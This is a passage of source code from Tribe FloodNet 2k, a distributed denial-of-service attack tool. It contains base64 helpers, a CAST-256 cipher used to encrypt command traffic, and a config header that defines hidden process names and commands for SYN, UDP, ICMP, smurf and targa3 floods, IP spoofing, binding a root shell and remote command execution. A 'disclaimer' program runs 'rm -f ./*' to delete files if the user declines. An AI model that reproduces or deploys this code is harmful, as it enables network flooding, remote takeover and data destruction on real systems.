52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
};

void
base64_in (unsigned char *buf, char *obuf, int len)
{
int i;
for (i = 0; i < len - 2; i += 3)
    {
      *obuf++ = b64[(buf[i] >> 2) & 0x3F];
      *obuf++ = b64[((buf[i] & 0x3) << 4 | ((int) (buf[i + 1] & 0xF0) >> 4))];
      *obuf++ = b64[((buf[i + 1] & 0xF) << 2) | ((int) (buf[i + 2] & 0xC0) >> 6)];
      *obuf++ = b64[buf[i + 2] & 0x3F];
    }
if (i < len)
    {
      *obuf++ = b64[(buf[i] >> 2) & 0x3F];
      if (i == (len - 1))
{
   *obuf++ = b64[((buf[i] & 0x3) << 4)];
//       *obuf++ = '=';
}
      else
{
   *obuf++ = b64[((buf[i] & 0x3) << 4 | ((int) (buf[i + 1] & 0xf0) >> 4))];
   *obuf++ = b64[((buf[i + 1] & 0xf) << 2)];
}
//      *obuf++ = '=';
    }
*obuf++ = '\0';
}

void
base64_out (char *buf, unsigned char *obuf, int len)
{
int nprbytes;
char *p = buf;
while (ascii[(int) *(p++)] <= 63);

nprbytes = len - 1;

while (nprbytes > 4 && *buf != '\0')
    {
      *(obuf++) = (ascii[(int) *buf] << 2 | ascii[(int) buf[1]] >> 4);
      *(obuf++) = (ascii[(int) buf[1]] << 4 | ascii[(int) buf[2]] >> 2);
      *(obuf++) = (ascii[(int) buf[2]] << 6 | ascii[(int) buf[3]]);
      buf += 4;
      nprbytes -= 4;
    }
if (nprbytes > 1)
    *(obuf++) =
      (ascii[(int) *buf] << 2 | ascii[(int) buf[1]] >> 4);
if (nprbytes > 2)
    *(obuf++) =
      (ascii[(int) buf[1]] << 4 | ascii[(int) buf[2]] >> 2);
if (nprbytes > 3)
    *(obuf++) =
      (ascii[(int) buf[2]] << 6 | ascii[(int) buf[3]]);
*(obuf)++ = '\0';
}

cast.c

/*
* this is cast-256 (c) Carlisle Adams of Entrust Tecnhologies
* implementation written by Dr Brian Gladman (gladman@seven77.demon.co.uk)
*
* You can also use other encryption candidates for AES to do encrypted
* sessions, see the documentation on how to do this.
*
*/

#define BYTE_SWAP

#ifdef CORE_TIME
#undef BYTE_SWAP
#endif

#include "aes.h"

u4byte s_box[4][256] =
{
{
    0x30fb40d4, 0x9fa0ff0b, 0x6beccd2f, 0x3f258c7a, 0x1e213f2f, 0x9C004dd3,
    0x6003e540, 0xcf9fc949, 0xbfd4af27, 0x88bbbdb5, 0xe2034090, 0x98d09675,
    0x6e63a0e0, 0x15c361d2, 0xc2e7661d, 0x22d4ff8e, 0x28683b6f, 0xc07fd059,
    0xff2379c8, 0x775f50e2, 0x43c340d3, 0xdf2f8656, 0x887ca41a, 0xa2d2bd2d,
    0xa1c9e0d6, 0x346c4819, 0x61b76d87, 0x22540f2f, 0x2abe32e1, 0xaa54166b,
    0x22568e3a, 0xa2d341d0, 0x66db40c8, 0xa784392f, 0x004dff2f, 0x2db9d2de,
    0x97943fac, 0x4a97c1d8, 0x527644b7, 0xb5f437a7, 0xb82cbaef, 0xd751d159,
    0x6ff7f0ed, 0x5a097a1f, 0x827b68d0, 0x90ecf52e, 0x22b0c054, 0xbc8e5935,
    0x4b6d2f7f, 0x50bb64a2, 0xd2664910, 0xbee5812d, 0xb7332290, 0xe93b159f,
    0xb48ee411, 0x4bff345d, 0xfd45c240, 0xad31973f, 0xc4f6d02e, 0x55fc8165,
    0xd5b1caad, 0xa1ac2dae, 0xa2d4b76d, 0xc19b0C50, 0x882240f2, 0x0c6e4f38,
    0xa4e4bfd7, 0x4f5ba272, 0x564c1d2f, 0xc59c5319, 0xb949e354, 0xb04669fe,
    0xb1b6ab8a, 0xc71358dd, 0x6385c545, 0x110f935d, 0x57538ad5, 0x6a390493,
    0xe63d37e0, 0x2a54f6b3, 0x3a787d5f, 0x6276a0b5, 0x19a6fcdf, 0x7a42206a,
    0x29f9d4d5, 0xf61b1891, 0xbb72275e, 0xaa508167, 0x38901091, 0xc6b505eb,
    0x84c7cb8c, 0x2ad75a0f, 0x874a1427, 0xa2d1936b, 0x2ad286af, 0xaa56d291,
    0xd7894360, 0x425c750d, 0x93b39e26, 0x187184c9, 0x6c00b32d, 0x73e2bb14,
    0xa0bebc3c, 0x54623779, 0x64459eab, 0x3f328b82, 0x7718cf82, 0x59a2cea6,
    0x04ee002e, 0x89fe78e6, 0x3fab0950, 0x325ff6C2, 0x81383f05, 0x6963c5c8,
    0x76cb5ad6, 0xd49974c9, 0xca180dcf, 0x380782d5, 0xc7fa5cf6, 0x8ac31511,
    0x35e79e13, 0x47da91d0, 0xf40f9086, 0xa7e2419e, 0x31366241, 0x051ef495,
    0xaa573b04, 0x4a805d8d, 0x548300d0, 0x00322a3c, 0xbf64cddf, 0xba57a68e,
    0x75c6372b, 0x50afd341, 0xa7c13275, 0x915a0bf5, 0x6b54bfab, 0x2b0b1426,
    0xab4cc9d7, 0x449ccd82, 0xf7fbf265, 0xab85c5f3, 0x1b55db94, 0xaad4e324,
    0xcfa4bd3f, 0x2deaa3e2, 0x9e204d02, 0xc8bd25ac, 0xeadf55b3, 0xd5bd9e98,
    0xe31231b2, 0x2ad5ad6c, 0x954329de, 0xadbe4528, 0xd8710f69, 0xaa51c90f,
    0xaa786bf6, 0x22513f1e, 0xaa51a79b, 0x2ad344cc, 0x7b5a41f0, 0xd37cfbad,
    0x1b069505, 0x41ece491, 0xb4c332e6, 0x032268d4, 0xc9600acc, 0xce387e6d,
    0xbf6bb16c, 0x6a70fb78, 0x0d03d9c9, 0xd4df39de, 0xe01063da, 0x4736f464,
    0x5ad328d8, 0xb347cc96, 0x75bb0fc3, 0x98511bfb, 0x4ffbcc35, 0xb58bcf6a,
    0xe11f0abc, 0xbfc5fe4a, 0xa70aec10, 0xac39570a, 0x3f04442f, 0x6188b153,
    0xe0397a2e, 0x5727cb79, 0x9ceb418f, 0x1cacd68d, 0x2ad37c96, 0x0175cb9d,
    0xc69dff09, 0xc75b65f0, 0xd9db40d8, 0xec0e7779, 0x4744ead4, 0xb11c3274,
    0xdd24cb9e, 0x7e1c54bd, 0xf01144f9, 0xd2240eb1, 0x9675b3fd, 0xa3ac3755,
    0xd47c27af, 0x51c85f4d, 0x56907596, 0xa5bb15e6, 0x580304f0, 0xca042cf1,
    0x011a37ea, 0x8dbfaadb, 0x35ba3e4a, 0x3526ffa0, 0xc37b4d09, 0xbc306ed9,
    0x98a52666, 0x5648f725, 0xff5e569d, 0x0ced63d0, 0x7c63b2cf, 0x700b45e1,
    0xd5ea50f1, 0x85a92872, 0xaf1fbda7, 0xd4234870, 0xa7870bf3, 0x2d3b4d79,
    0x42e04198, 0x0cd0ede7, 0x26470db8, 0xf881814C, 0x474d6ad7, 0x7c0c5e5c,
    0xd1231959, 0x381b7298, 0xf5d2f4db, 0xab838653, 0x6e2f1e23, 0x83719c9e,
    0xbd91e046, 0x9a56456e, 0xdc39200c, 0x20c8c571, 0x962bda1c, 0xe1e696ff,
    0xb141ab08, 0x7cca89b9, 0x1a69e783, 0x02cc4843, 0xa2f7c579, 0x429ef47d,
    0x427b169c, 0x5ac9f049, 0xdd8f0f00, 0x5c8165bf
},
{
    0x1f201094, 0xef0ba75b, 0x69e3cf7e, 0x393f4380, 0xfe61cf7a, 0xeec5207a,
    0x55889c94, 0x72fc0651, 0xada7ef79, 0x4e1d7235, 0xd55a63ce, 0xde0436ba,
    0x99c430ef, 0x5f0c0794, 0x18dcdb7d, 0xa1d6eff3, 0xa0b52f7b, 0x59e83605,
    0xee15b094, 0xe9ffd909, 0xdc440086, 0xef944459, 0xba83ccb3, 0xe0c3cdfb,
    0xd1da4181, 0x3b092ab1, 0xf997f1c1, 0xa5e6cf7b, 0x01420ddb, 0xe4e7ef5b,
    0x25a1ff41, 0xe180f806, 0x1fc41080, 0x179bee7a, 0xd37ac6a9, 0xfe5830a4,
    0x98de8b7f, 0x77e83f4e, 0x79929269, 0x24fa9f7b, 0xe113c85b, 0xacc40083,
    0xd7503525, 0xf7ea615f, 0x62143154, 0x0d554b63, 0x5d681121, 0xc866c359,
    0x3d63cf73, 0xcee234c0, 0xd4d87e87, 0x5c672b21, 0x071f6181, 0x39f7627f,
    0x361e3084, 0xe4eb573b, 0x602f64a4, 0xd63acd9c, 0x1bbc4635, 0x9e81032d,
    0x2701f50c, 0x99847ab4, 0xa0e3df79, 0xba6cf38c, 0x10843094, 0x2537a95e,
    0xf46f6ffe, 0xa1ff3b1f, 0x208cfb6a, 0x8f458c74, 0xd9e0a227, 0x4ec73a34,
    0xfc884f69, 0x3e4de8df, 0xef0e0088, 0x3559648d, 0x8a45388c, 0x1d804366,
    0x721d9bfd, 0xa58684bb, 0xe8256333, 0x844e8212, 0x128d8098, 0xfed33fb4,
    0xce280ae1, 0x27e19ba5, 0xd5a6c252, 0xe49754bd, 0xc5d655dd, 0xeb667064,
    0x77840b4d, 0xa1b6a801, 0x84db26a9, 0xe0b56714, 0x21f043b7, 0xe5d05860,
    0x54f03084, 0x066ff472, 0xa31aa153, 0xdadc4755, 0xb5625dbf, 0x68561be6,
    0x83ca6b94, 0x2d6ed23b, 0xeccf01db, 0xa6d3d0ba, 0xb6803d5c, 0xaf77a709,
    0x33b4a34c, 0x397bc8d6, 0x5ee22b95, 0x5f0e5304, 0x81ed6f61, 0x20e74364,
    0xb45e1378, 0xde18639b, 0x881ca122, 0xb96726d1, 0x8049a7e8, 0x22b7da7b,
    0x5e552d25, 0x5272d237, 0x79d2951c, 0xc60d894c, 0x488cb402, 0x1ba4fe5b,
    0xa4b09f6b, 0x1ca815cf, 0xa20c3005, 0x8871df63, 0xb9de2fcb, 0x0cc6c9e9,
    0x0beeff53, 0xe3214517, 0xb4542835, 0x9f63293c, 0xee41e729, 0x6e1d2d7c,
    0x50045286, 0x1e6685f3, 0xf33401c6, 0x30a22c95, 0x31a70850, 0x60930f13,
    0x73f98417, 0xa1269859, 0xec645c44, 0x52c877a9, 0xcdff33a6, 0xa02b1741,
    0x7cbad9a2, 0x2180036f, 0x50d99c08, 0xcb3f4861, 0xc26bd765, 0x64a3f6ab,
    0x80342676, 0x25a75e7b, 0xe4e6d1fc, 0x20c710e6, 0xcdf0b680, 0x17844d3b,
    0x31eef84d, 0x7e0824e4, 0x2ccb49eb, 0x846a3bae, 0x8ff77888, 0xee5d60f6,
    0x7af75673, 0x2fdd5cdb, 0xa11631c1, 0x30f66f43, 0xb3faec54, 0x157fd7fa,
    0xef8579cc, 0xd152de58, 0xdb2ffd5e, 0x8f32ce19, 0x306af97a, 0x02f03ef8,
    0x99319ad5, 0xc242fa0f, 0xa7e3ebb0, 0xc68e4906, 0xb8da230c, 0x80823028,
    0xdcdef3c8, 0xd35fb171, 0x088a1bc8, 0xbec0c560, 0x61a3c9e8, 0xbca8f54d,
    0xc72feffa, 0x22822e99, 0x82c570b4, 0xd8d94e89, 0x8b1c34bc, 0x301e16e6,
    0x273be979, 0xb0ffeaa6, 0x61d9b8c6, 0x00b24869, 0xb7ffce3f, 0x08dc283b,
    0x43daf65a, 0xf7e19798, 0x7619b72f, 0x8f1c9ba4, 0xdc8637a0, 0x16a7d3b1,
    0x9fc393b7, 0xa7136eeb, 0xc6bcc63e, 0x1a513742, 0xef6828bc, 0x520365d6,
    0x2d6a77ab, 0x3527ed4b, 0x821fd216, 0x095c6e2e, 0xdb92f2fb, 0x5eea29cb,
    0x145892f5, 0x91584f7f, 0x5483697b, 0x2667a8cc, 0x85196048, 0x8c4bacea,
    0x833860d4, 0x0d23e0f9, 0x6c387e8a, 0x0ae6d249, 0xb284600c, 0xd835731d,
    0xdcb1c647, 0xac4c56ea, 0x3ebd81b3, 0x230eabb0, 0x6438bc87, 0xf0b5b1fa,
    0x8f5ea2b3, 0xfc184642, 0x0a036b7a, 0x4fb089bd, 0x649da589, 0xa345415e,
    0x5c038323, 0x3e5d3bb9, 0x43d79572, 0x7e6dd07c, 0x06dfdf1e, 0x6c6cc4ef,
    0x7160a539, 0x73bfbe70, 0x83877605, 0x4523ecf1
},
{
    0x8defc240, 0x25fa5d9f, 0xeb903dbf, 0xe810c907, 0x47607fff, 0x369fe44b,
    0x8c1fc644, 0xaececa90, 0xbeb1f9bf, 0xeefbcaea, 0xe8cf1950, 0x51df07ae,
    0x920e8806, 0xf0ad0548, 0xe13c8d83, 0x927010d5, 0x11107d9f, 0x07647db9,
    0xb2e3e4d4, 0x3d4f285e, 0xb9afa820, 0xfade82e0, 0xa067268b, 0x8272792e,
    0x553fb2c0, 0x489ae22b, 0xd4ef9794, 0x125e3fbc, 0x21fffcee, 0x825b1bfd,
    0x9255c5ed, 0x1257a240, 0x4e1a8302, 0xbae07fff, 0x528246e7, 0x8e57140e,
    0x3373f7bf, 0x8c9f8188, 0xa6fc4ee8, 0xc982b5a5, 0xa8c01db7, 0x579fc264,
    0x67094f31, 0xf2bd3f5f, 0x40fff7c1, 0x1fb78dfc, 0x8e6bd2c1, 0x437be59b,
    0x99b03dbf, 0xb5dbc64b, 0x638dc0e6, 0x55819d99, 0xa197c81c, 0x4a012d6e,
    0xc5884a28, 0xccc36f71, 0xb843c213, 0x6c0743f1, 0x8309893c, 0x0feddd5f,
    0x2f7fe850, 0xd7c07f7e, 0x02507fbf, 0x5afb9a04, 0xa747d2d0, 0x1651192e,
    0xaf70bf3e, 0x58c31380, 0x5f98302e, 0x727cc3c4, 0x0a0fb402, 0x0f7fef82,
    0x8c96fdad, 0x5d2c2aae, 0x8ee99a49, 0x50da88b8, 0x8427f4a0, 0x1eac5790,
    0x796fb449, 0x8252dc15, 0xefbd7d9b, 0xa672597d, 0xada840d8, 0x45f54504,
    0xfa5d7403, 0xe83ec305, 0x4f91751a, 0x925669c2, 0x23efe941, 0xa903f12e,
    0x60270df2, 0x0276e4b6, 0x94fd6574, 0x927985b2, 0x8276dbcb, 0x02778176,
    0xf8af918d, 0x4e48f79e, 0x8f616ddf, 0xe29d840e, 0x842f7d83, 0x340ce5c8,
    0x96bbb682, 0x93b4b148, 0xef303cab, 0x984faf28, 0x779faf9b, 0x92dc560d,
    0x224d1e20, 0x8437aa88, 0x7d29dc96, 0x2756d3dc, 0x8b907cee, 0xb51fd240,
    0xe7c07ce3, 0xe566b4a1, 0xc3e9615e, 0x3cf8209d, 0x6094d1e3, 0xcd9ca341,
    0x5c76460e, 0x00ea983b, 0xd4d67881, 0xfd47572c, 0xf76cedd9, 0xbda8229c,
    0x127dadaa, 0x438a074e, 0x1f97c090, 0x081bdb8a, 0x93a07ebe, 0xb938ca15,
    0x97b03cff, 0x3dc2c0f8, 0x8d1ab2ec, 0x64380e51, 0x68cc7bfb, 0xd90f2788,
    0x12490181, 0x5de5ffd4, 0xdd7ef86a, 0x76a2e214, 0xb9a40368, 0x925d958f,
    0x4b39fffa, 0xba39aee9, 0xa4ffd30b, 0xfaf7933b, 0x6d498623, 0x193cbcfa,
    0x27627545, 0x825cf47a, 0x61bd8ba0, 0xd11e42d1, 0xcead04f4, 0x127ea392,
    0x10428db7, 0x8272a972, 0x9270c4a8, 0x127de50b, 0x285ba1c8, 0x3c62f44f,
    0x35c0eaa5, 0xe805d231, 0x428929fb, 0xb4fcdf82, 0x4fb66a53, 0x0e7dc15b,
    0x1f081fab, 0x108618ae, 0xfcfd086d, 0xf9ff2889, 0x694bcc11, 0x236a5cae,
    0x12deca4d, 0x2c3f8cc5, 0xd2d02dfe, 0xf8ef5896, 0xe4cf52da, 0x95155b67,
    0x494a488c, 0xb9b6a80c, 0x5c8f82bc, 0x89d36b45, 0x3a609437, 0xec00c9a9,
    0x44715253, 0x0a874b49, 0xd773bc40, 0x7c34671c, 0x02717ef6, 0x4feb5536,
    0xa2d02fff, 0xd2bf60c4, 0xd43f03c0, 0x50b4ef6d, 0x07478cd1, 0x006e1888,
    0xa2e53f55, 0xb9e6d4bc, 0xa2048016, 0x97573833, 0xd7207d67, 0xde0f8f3d,
    0x72f87b33, 0xabcc4f33, 0x7688c55d, 0x7b00a6b0, 0x947b0001, 0x570075d2,
    0xf9bb88f8, 0x8942019e, 0x4264a5ff, 0x856302e0, 0x72dbd92b, 0xee971b69,
    0x6ea22fde, 0x5f08ae2b, 0xaf7a616d, 0xe5c98767, 0xcf1febd2, 0x61efc8c2,
    0xf1ac2571, 0xcc8239c2, 0x67214cb8, 0xb1e583d1, 0xb7dc3e62, 0x7f10bdce,
    0xf90a5c38, 0x0ff0443d, 0x606e6dc6, 0x60543a49, 0x5727c148, 0x2be98a1d,
    0x8ab41738, 0x20e1be24, 0xaf96da0f, 0x68458425, 0x99833be5, 0x600d457d,
    0x282f9350, 0x8334b362, 0xd91d1120, 0x2b6d8da0, 0x642b1e31, 0x9c305a00,
    0x52bce688, 0x1b03588a, 0xf7baefd5, 0x4142ed9c, 0xa4315c11, 0x83323ec5,
    0xdfef4636, 0xa133c501, 0xe9d3531c, 0xee353783
},
{
    0x9db30420, 0x1fb6e9de, 0xa7be7bef, 0xd273a298, 0x4a4f7bdb, 0x64ad8c57,
    0x85510443, 0xfa020ed1, 0x7e287aff, 0xe60fb663, 0x095f35a1, 0x79ebf120,
    0xfd059d43, 0x6497b7b1, 0xf3641f63, 0x241e4adf, 0x28147f5f, 0x4fa2b8cd,
    0xc9430040, 0x0cc32220, 0xfdd30b30, 0xc0a5374f, 0x1d2d00d9, 0x24147b15,
    0xee4d111a, 0x0fca5167, 0x71ff904c, 0x2d195ffe, 0x1a05645f, 0x0c13fefe,
    0x081b08ca, 0x05170121, 0x80530100, 0xe83e5efe, 0xac9af4f8, 0x7fe72701,
    0xd2b8ee5f, 0x06df4261, 0xbb9e9b8a, 0x7293ea25, 0xce84ffdf, 0xf5718801,
    0x3dd64b04, 0xa26f263b, 0x7ed48400, 0x547eebe6, 0x446d4ca0, 0x6cf3d6f5,
    0x2649abdf, 0xaea0c7f5, 0x36338cc1, 0x503f7e93, 0xd3772061, 0x11b638e1,
    0x72500e03, 0xf80eb2bb, 0xabe0502e, 0xec8d77de, 0x57971e81, 0xe14f6746,
    0xc9335400, 0x6920318f, 0x081dbb99, 0xffc304a5, 0x4d351805, 0x7f3d5ce3,
    0xa6c866c6, 0x5d5bcca9, 0xdaec6fea, 0x9f926f91, 0x9f46222f, 0x3991467d,
    0xa5bf6d8e, 0x1143c44f, 0x43958302, 0xd0214eeb, 0x022083b8, 0x3fb6180c,
    0x18f8931e, 0x281658e6, 0x26486e3e, 0x8bd78a70, 0x7477e4c1, 0xb506e07c,
    0xf32d0a25, 0x79098b02, 0xe4eabb81, 0x28123b23, 0x69dead38, 0x1574ca16,
    0xdf871b62, 0x211c40b7, 0xa51a9ef9, 0x0014377b, 0x041e8ac8, 0x09114003,
    0xbd59e4d2, 0xe3d156d5, 0x4fe876d5, 0x2f91a340, 0x557be8de, 0x00eae4a7,
    0x0ce5c2ec, 0x4db4bba6, 0xe756bdff, 0xdd3369ac, 0xec17b035, 0x06572327,
    0x99afc8b0, 0x56c8c391, 0x6b65811c, 0x5e146119, 0x6e85cb75, 0xbe07c002,
    0xc2325577, 0x893ff4ec, 0x5bbfc92d, 0xd0ec3b25, 0xb7801ab7, 0x8d6d3b24,
    0x20c763ef, 0xc366a5fc, 0x9c382880, 0x0ace3205, 0xaac9548a, 0xeca1d7c7,
    0x041afa32, 0x1d16625a, 0x6701902c, 0x9b757a54, 0x31d477f7, 0x9126b031,
    0x36cc6fdb, 0xc70b8b46, 0xd9e66a48, 0x56e55a79, 0x026a4ceb, 0x52437eff,
    0x2f8f76b4, 0x0df980a5, 0x8674cde3, 0xedda04eb, 0x17a9be04, 0x2c18f4df,
    0xb7747f9d, 0xab2af7b4, 0xefc34d20, 0x2e096b7c, 0x1741a254, 0xe5b6a035,
    0x213d42f6, 0x2c1c7c26, 0x61c2f50f, 0x6552daf9, 0xd2c231f8, 0x25130f69,
    0xd8167fa2, 0x0418f2c8, 0x001a96a6, 0x0d1526ab, 0x63315c21, 0x5e0a72ec,
    0x49bafefd, 0x187908d9, 0x8d0dbd86, 0x311170a7, 0x3e9b640c, 0xcc3e10d7,
    0xd5cad3b6, 0x0caec388, 0xf73001e1, 0x6c728aff, 0x71eae2a1, 0x1f9af36e,
    0xcfcbd12f, 0xc1de8417, 0xac07be6b, 0xcb44a1d8, 0x8b9b0f56, 0x013988c3,
    0xb1c52fca, 0xb4be31cd, 0xd8782806, 0x12a3a4e2, 0x6f7de532, 0x58fd7eb6,
    0xd01ee900, 0x24adffc2, 0xf4990fc5, 0x9711aac5, 0x001d7b95, 0x82e5e7d2,
    0x109873f6, 0x00613096, 0xc32d9521, 0xada121ff, 0x29908415, 0x7fbb977f,
    0xaf9eb3db, 0x29c9ed2a, 0x5ce2a465, 0xa730f32c, 0xd0aa3fe8, 0x8a5cc091,
    0xd49e2ce7, 0x0ce454a9, 0xd60acd86, 0x015f1919, 0x77079103, 0xdea03af6,
    0x78a8565e, 0xdee356df, 0x21f05cbe, 0x8b75e387, 0xb3c50651, 0xb8a5c3ef,
    0xd8eeb6d2, 0xe523be77, 0xc2154529, 0x2f69efdf, 0xafe67afb, 0xf470c4b2,
    0xf3e0eb5b, 0xd6cc9876, 0x39e4460c, 0x1fda8538, 0x1987832f, 0xca007367,
    0xa99144f8, 0x296b299e, 0x492fc295, 0x9266beab, 0xb5676e69, 0x9bd3ddda,
    0xdf7e052f, 0xdb25701c, 0x1b5e51ee, 0xf65324e6, 0x6afce36c, 0x0316cc04,
    0x8644213e, 0xb7dc59d0, 0x7965291f, 0xccd6fd43, 0x41823979, 0x932bcdf6,
    0xb657c34d, 0x4edfd282, 0x7ae5290c, 0x3cb9536b, 0x851e20fe, 0x9833557e,
    0x13ecf0b0, 0xd3ffb372, 0x3f85c5c1, 0x0aef7ed2
}
};

#define f1(y,x,kr,km)           \
    t = rotl(km + x, kr);      \
    u = s_box[0][byte(t,3)];   \
    u ^= s_box[1][byte(t,2)];   \
    u -= s_box[2][byte(t,1)];   \
    u += s_box[3][byte(t,0)];   \
    y ^= u

#define f2(y,x,kr,km)           \
    t = rotl(km ^ x, kr);      \
    u = s_box[0][byte(t,3)];   \
    u -= s_box[1][byte(t,2)];   \
    u += s_box[2][byte(t,1)];   \
    u ^= s_box[3][byte(t,0)];   \
    y ^= u

#define f3(y,x,kr,km)           \
    t = rotl(km - x, kr);      \
    u = s_box[0][byte(t,3)];   \
    u += s_box[1][byte(t,2)];   \
    u ^= s_box[2][byte(t,1)];   \
    u -= s_box[3][byte(t,0)];   \
    y ^= u

#define f_rnd(x,n)                              \
    f1(x[2],x[3],l_key[n],    l_key[n + 4]);    \
    f2(x[1],x[2],l_key[n + 1],l_key[n + 5]);    \
    f3(x[0],x[1],l_key[n + 2],l_key[n + 6]);    \
    f1(x[3],x[0],l_key[n + 3],l_key[n + 7])

#define i_rnd(x, n)                             \
    f1(x[3],x[0],l_key[n + 3],l_key[n + 7]);    \
    f3(x[0],x[1],l_key[n + 2],l_key[n + 6]);    \
    f2(x[1],x[2],l_key[n + 1],l_key[n + 5]);    \
    f1(x[2],x[3],l_key[n],    l_key[n + 4])

#define k_rnd(k,tr,tm)          \
    f1(k[6],k[7],tr[0],tm[0]); \
    f2(k[5],k[6],tr[1],tm[1]); \
    f3(k[4],k[5],tr[2],tm[2]); \
    f1(k[3],k[4],tr[3],tm[3]); \
    f2(k[2],k[3],tr[4],tm[4]); \
    f3(k[1],k[2],tr[5],tm[5]); \
    f1(k[0],k[1],tr[6],tm[6]); \
    f2(k[7],k[0],tr[7],tm[7])

u4byte l_key[96];

u4byte *
set_key (const u4byte in_key[], const u4byte key_len)
{
u4byte i, j, t, u, cm, cr, lk[8], tm[8], tr[8];

for (i = 0; i < key_len / 32; ++i)

lk[i] = io_swap (in_key[i]);

for (; i < 8; ++i)

lk[i] = 0;

cm = 0x5a827999;
cr = 19;

for (i = 0; i < 96; i += 8)
    {
      for (j = 0; j < 8; ++j)
{
   tm[j] = cm;
   cm += 0x6ed9eba1;
   tr[j] = cr;
   cr += 17;
}

k_rnd (lk, tr, tm);

      for (j = 0; j < 8; ++j)
{
   tm[j] = cm;
   cm += 0x6ed9eba1;
   tr[j] = cr;
   cr += 17;
}

k_rnd (lk, tr, tm);

      l_key[i + 0] = lk[0];
      l_key[i + 1] = lk[2];
      l_key[i + 2] = lk[4];
      l_key[i + 3] = lk[6];
      l_key[i + 4] = lk[7];
      l_key[i + 5] = lk[5];
      l_key[i + 6] = lk[3];
      l_key[i + 7] = lk[1];
    }

return l_key;
}

void
aes_encrypt (const u4byte in_blk[4], u4byte out_blk[4])
{
u4byte t, u, blk[4];

blk[0] = io_swap (in_blk[0]);
blk[1] = io_swap (in_blk[1]);
blk[2] = io_swap (in_blk[2]);
blk[3] = io_swap (in_blk[3]);

f_rnd (blk, 0);
f_rnd (blk, 8);
f_rnd (blk, 16);
f_rnd (blk, 24);
f_rnd (blk, 32);
f_rnd (blk, 40);
i_rnd (blk, 48);
i_rnd (blk, 56);
i_rnd (blk, 64);
i_rnd (blk, 72);
i_rnd (blk, 80);
i_rnd (blk, 88);

out_blk[0] = io_swap (blk[0]);
out_blk[1] = io_swap (blk[1]);
out_blk[2] = io_swap (blk[2]);
out_blk[3] = io_swap (blk[3]);
}

void
decrypt (const u4byte in_blk[4], u4byte out_blk[4])
{
u4byte t, u, blk[4];

blk[0] = io_swap (in_blk[0]);
blk[1] = io_swap (in_blk[1]);
blk[2] = io_swap (in_blk[2]);
blk[3] = io_swap (in_blk[3]);

f_rnd (blk, 88);
f_rnd (blk, 80);
f_rnd (blk, 72);
f_rnd (blk, 64);
f_rnd (blk, 56);
f_rnd (blk, 48);
i_rnd (blk, 40);
i_rnd (blk, 32);
i_rnd (blk, 24);
i_rnd (blk, 16);
i_rnd (blk, 8);
i_rnd (blk, 0);

out_blk[0] = io_swap (blk[0]);
out_blk[1] = io_swap (blk[1]);
out_blk[2] = io_swap (blk[2]);
out_blk[3] = io_swap (blk[3]);
}

config.h

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* config.h - user defined values
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#ifndef _CONFIG_H

#define HIDEME "tfn-daemon" /* background process name */
#define HIDEKIDS "tfn-child" /* flood/shell thread names */
#define CHLD_MAX 50 /* maximum targets a server handles at a time */
#define DELIMITER "@" /* to separate ips and broadcasts (host1@host2@...) */
#define REQUIRE_PASS /* require server password to be entered and
verified before the client will work? */

#undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */

/* Note: the password is not defined here, but at compile time. The
requests will be encrypted anyways, you DON'T need to change this */

#define PROTO_SEP '+' /* session header separator, can be anything */
#define ID_SHELL 'a' /* to bind a root shell */
#define ID_PSIZE 'b' /* to change size of udp/icmp packets */
#define ID_SWITCH 'c' /* to switch spoofing mode */
#define ID_STOPIT 'd' /* to stop flooding */
#define ID_SENDUDP 'e' /* to udp flood */
#define ID_SENDSYN 'f' /* to syn flood */
#define ID_SYNPORT 'g' /* to set port */
#define ID_ICMP 'h' /* to icmp flood */
#define ID_SMURF 'i' /* haps! haps! */
#define ID_TARGA 'j' /* targa3 (ip stack penetration) */
#define ID_MIX 'k' /* udp/syn/icmp intervals */
#define ID_REXEC 'l' /* execute system command */

#define _CONFIG_H
#endif

disc.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int system (const char *string);

/* Yes, this is lame, I know =P */

char *disclaimer =
" This program is distributed for educational purposes and without any\n"
" explicit or implicit warranty; in no event shall the author or contributors\n"
" be liable for any direct, indirect or incidental damages arising in any way\n"
" out of the use of this software.\n\n"
" I hereby certify that I will not hold the author liable for any wanted\n"
" or unwanted effects caused by this program and that I will give the author\n"
" full credit and exclusively use this program for educational purposes.\n\n";

int
main (void)
{
if (open ("agreed", O_RDONLY) >= 0)
    exit (0);
printf ("%s\nDo you agree to this disclaimer [y/n]? ", disclaimer);
switch (getchar ())
    {
    case 'y':
    case 'Y':
      close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC));
      break;
    default:
      system ("/bin/rm -f ./*");
    }
return (0);
}

flood.c

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* flood.c - packet flood implementations
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"

extern int rcounter;
extern char rseed[];

